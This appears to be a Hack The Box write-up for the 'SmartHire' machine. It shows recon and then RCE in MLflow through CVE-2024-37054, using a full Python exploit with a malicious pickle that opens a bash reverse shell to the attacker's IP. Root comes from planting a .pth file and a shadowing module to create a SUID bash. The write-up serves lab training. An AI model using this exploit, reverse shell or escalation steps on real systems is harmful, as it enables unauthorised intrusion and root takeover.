SmartHire WriteUp

Table of Contents

SmartHire WriteUp

SmartHire is a 🟧 Medium difficulty machine on Hack The Box, part of Season 11. It simulates an AI-powered hiring platform that uses MLflow to manage candidate scoring models.

The initial access exploits CVE-2024-37054, insecure pickle deserialization in mlflow.pyfunc.load_model(): we register on the app, upload training data to force model creation in MLflow, replace its latest artifact with a malicious pickle, promote it to Production, and trigger the /predict endpoint. The privilege escalation abuses the fact that the plugins/dev/ directory of a sudo-executed script is writable by our group, dropping a malicious .pth file is enough for Python to execute it as root.

πŸ—ΊοΈ Attack Chain

Nmap β†’ Port 22 (SSH) + 80 (Nginx / smarthire.htb)
      β”‚
      β–Ό
ffuf β†’ models.smarthire.htb (MLflow 2.14.1) β€” default creds admin:password
      β”‚
      β–Ό
Register on smarthire.htb + upload CSV β†’ MLflow creates {company}-{hash}-model
      β”‚
      β–Ό
CVE-2024-37054 β†’ malicious pickle + MLmodel YAML β†’ new model version β†’ Production
POST /predict β†’ mlflow.pyfunc.load_model() deserializes β†’ RCE as svcweb
penelope -p 8443 β†’ direct shell β†’ user.txt 🚩
      β”‚
      β–Ό
sudo -l β†’ /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *
plugins/dev/ writable by devs group β†’ .pth file + module shadowing
sudo mlflowctl.py status β†’ root β†’ root.txt 🏴

πŸ” Reconnaissance

/etc/hosts Setup

echo '10.129.15.131 smarthire.htb models.smarthire.htb' | sudo tee -a /etc/hosts

Port Scan

Phase 1, Fast discovery:

sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv smarthire.htb

Phase 2, Versions and scripts:

grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt && sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv smarthire.htb
PortServiceDetail
22SSHOpenSSH 8.9p1 (Ubuntu 22.04)
80HTTPNginx 1.18.0

Subdomain Discovery

ffuf -w /usr/share/wordlists/own/hackpuntes_subdomains_23565.txt -u http://smarthire.htb -H 'Host: FUZZ.smarthire.htb' -ac -c
models                  [Status: 401, Size: 137, Words: 11, Duration: 50ms]

🎯 models.smarthire.htb β†’ MLflow 2.14.1 instance protected with default credentials admin:password. The version is visible in the top-left corner of the UI.

πŸ’‰ Initial Access, CVE-2024-37054 (MLflow Pickle RCE)

What is CVE-2024-37054?

🧠 Concept: CVE-2024-37054 is an insecure pickle deserialization vulnerability in mlflow.pyfunc.load_model() present in MLflow < 2.14.3. When the app loads a model with the python_function flavor and loader_module: mlflow.sklearn, it uses joblib/pickle to deserialize the model.pkl artifact file, with no validation whatsoever. A pickle object with a malicious __reduce__ method executes arbitrary code server-side. CVSS 9.8.

Step 1, Register on the Platform

Browse to http://smarthire.htb/register and create an account. The company name is key: it determines the MLflow model name that will be generated afterward.

curl -s -X POST http://smarthire.htb/register -d 'username=hacker&company=hackpuntes&password=Password123' -H 'Content-Type: application/x-www-form-urlencoded' -c cookies.txt

Step 2, Trigger Model Creation via CSV Upload

The platform requires training data to register the model in MLflow. Upload a minimal CSV to the /upload_hiring_data endpoint:

curl -s -X POST http://smarthire.htb/upload_hiring_data -b cookies.txt -F 'file=@hiring.csv'

Contents of hiring.csv:

years_experience,education_level,hired
1,1,0
5,2,1
3,1,0

After the upload, MLflow automatically registers a model named {company}-{hash}-model. Retrieve the exact name:

curl -s http://smarthire.htb/model_info -b cookies.txt
{"model_info":null,"model_name":"hackpuntes-05971feb3b81-model","status":"success"}

Generate and upload the CSV in one shot to trigger training:

printf 'years_experience,education_level,hired\n1,1,0\n5,2,1\n3,1,0\n' > hiring.csv && curl -s -X POST http://smarthire.htb/upload_hiring_data -b cookies.txt -F 'file=@hiring.csv'
{"message":"Model trained and registered successfully","model_deleted":false,"model_info":{"creation_timestamp":1781001809921,"description":"No description","version":"1"},"registered_model":"hackpuntes-05971feb3b81-model","status":"success"}

πŸ’‘ Note the model_name, the exploit needs it to register the malicious version under the right model.

Step 3, Exploit CVE-2024-37054

Save the script below as exploit.py and run it. It does three things: creates a run in MLflow, uploads the malicious pickle + MLmodel manifest to the artifact store, and registers a new model version pointing to those artifacts.

#!/usr/bin/env python3
import pickle, os, requests

MLFLOW = 'http://models.smarthire.htb'
AUTH   = ('admin', 'password')
MODEL  = 'hackpuntes-05971feb3b81-model'  # adjust to the model_name obtained above
LHOST  = '10.10.14.49'
LPORT  = 8443

class Shell:
    def __reduce__(self):
        cmd = f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1' &"
        return (os.system, (cmd,))

pkl = pickle.dumps(Shell())

mlmodel = (
    'artifact_path: model\n'
    'flavors:\n'
    '  python_function:\n'
    '    loader_module: mlflow.sklearn\n'
    '    model_path: model.pkl\n'
    '    python_version: 3.10.12\n'
    'mlflow_version: 2.14.1\n'
)

r = requests.post(f'{MLFLOW}/api/2.0/mlflow/runs/create', auth=AUTH, json={'experiment_id': '0'})
run_id = r.json()['run']['info']['run_id']
print(f'[+] Run ID: {run_id}')

base = f'{MLFLOW}/api/2.0/mlflow-artifacts/artifacts/0/{run_id}/artifacts/model'
for name, data in [('MLmodel', mlmodel.encode()), ('model.pkl', pkl)]:
    r = requests.put(f'{base}/{name}', auth=AUTH, data=data)
    print(f'[+] Upload {name}: {r.status_code}')

r = requests.post(f'{MLFLOW}/api/2.0/mlflow/model-versions/create', auth=AUTH, json={
    'name': MODEL,
    'source': f'mlflow-artifacts:/0/{run_id}/artifacts/model',
    'run_id': run_id
})
print(f'[+] Model version: {r.json()["model_version"]["version"]}')
print('[*] Done β€” trigger /predict to execute the payload')
python3 exploit.py
[+] Run ID: 51dd64dcdbaa44479320c16c8efdc608
[+] Upload MLmodel: 200
[+] Upload model.pkl: 200
[+] Model version: 2
[*] Done β€” trigger /predict to execute the payload

Step 4, Promote to Production and Trigger the Payload

The app loads the model in Production stage. Our version 2 lands in None by default, promote it before firing:

curl -s -X POST 'http://models.smarthire.htb/api/2.0/mlflow/model-versions/transition-stage' -u 'admin:password' -H 'Content-Type: application/json' -d '{"name":"hackpuntes-05971feb3b81-model","version":"2","stage":"Production","archive_existing_versions":true}'

Start the listener on another terminal:

penelope -p 8443

The /predict endpoint expects a CSV file with experience and skills columns. Create the file and fire, this internally calls mlflow.pyfunc.load_model() on our malicious version:

printf 'experience,skills\n3,python\n' > resume.csv && curl -s -X POST http://smarthire.htb/predict -b cookies.txt -F 'file=@resume.csv'
[+] Got reverse shell from smarthire~10.129.15.131-Linux-x86_64 😍 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! πŸ’ͺ
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
svcweb@smarthire:/var/www/smarthire.htb$

🚩 User Flag

cat /home/svcweb/user.txt
<user_flag>

πŸ§— Privilege Escalation β†’ root

Sudo Enumeration

sudo -l
User svcweb may run the following commands on smarthire:
    (root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *

Script Analysis

cat /opt/tools/mlflow_ctl/mlflowctl.py && ls -la /opt/tools/mlflow_ctl/plugins/
#!/usr/bin/env python3
"""
MLFLOW-CTL: Operational interface for managing the MLflow service.
Supports a pluggable extension model for environment-specific logic.
"""
from pathlib import Path
import sys, site

BASE_DIR    = Path(__file__).resolve().parent
PLUGINS_DIR = BASE_DIR / "plugins"

for path in PLUGINS_DIR.iterdir():
    if path.is_dir():
        site.addsitedir(str(path))

def main():
    import mlflow_actions, backup_models

    action = sys.argv[1]
    if action == "status":
        mlflow_actions.check_status()
    elif action == "backup-models":
        backup_models.run()
    elif action == "restart":
        mlflow_actions.restart()

if __name__ == "__main__": main()
drwxr-xr-x 3 root root 4096 Feb 20 09:26 core
drwxrwxr-x 2 root devs 4096 May 12 15:22 dev

🎯 site.addsitedir() adds the directory to Python’s path and processes all .pth files found inside it. The dev/ directory is writable by the devs group, and svcweb belongs to devs. By manipulating sys.path order we can make Python import our mlflow_actions.py (from dev/) instead of the legitimate one (from core/).

Exploitation, Python .pth File + Module Shadowing

🧠 Concept: .pth files in directories added via site.addsitedir() are automatically processed at interpreter startup: lines containing import ... are executed directly. This lets us insert dev/ at the beginning of sys.path before core/ is added, causing Python to import our malicious module instead of the legitimate one.

1. Create the .pth file that prepends dev/ to sys.path:

echo 'import sys; sys.path.insert(0, "/opt/tools/mlflow_ctl/plugins/dev")' > /opt/tools/mlflow_ctl/plugins/dev/evil.pth

2. Create the malicious mlflow_actions.py that shadows the legitimate one in core/:

printf 'import os\ndef check_status(): os.system("cp /bin/bash /tmp/b && chmod +s /tmp/b")\ndef restart(): check_status()\n' > /opt/tools/mlflow_ctl/plugins/dev/mlflow_actions.py

3. Trigger root execution and verify the SUID bit:

sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status && ls -la /tmp/b
-rwsr-sr-x 1 root root 1396520 Jun  9 10:51 /tmp/b
/tmp/b -p
b-5.1# id
uid=1000(svcweb) gid=1000(svcweb) euid=0(root) groups=1000(svcweb),1001(mlflowweb),1002(devs)

🏴 Root Flag

cat /root/root.txt
<root_flag>

πŸ“ Attack Chain Summary

#TechniqueToolResult
1Port and subdomain reconnaissancenmap, ffufMLflow 2.14.1 on models.smarthire.htb
2Register + upload CSV β†’ MLflow model creationcurlTarget model name
3CVE-2024-37054, pickle RCE via MLflow + /predictpython3, penelopeShell as svcweb + user.txt 🚩
4Python .pth hijack, module shadowing in plugins/dev/printf, sudoShell as root + root.txt 🏴

See you in the next challenge.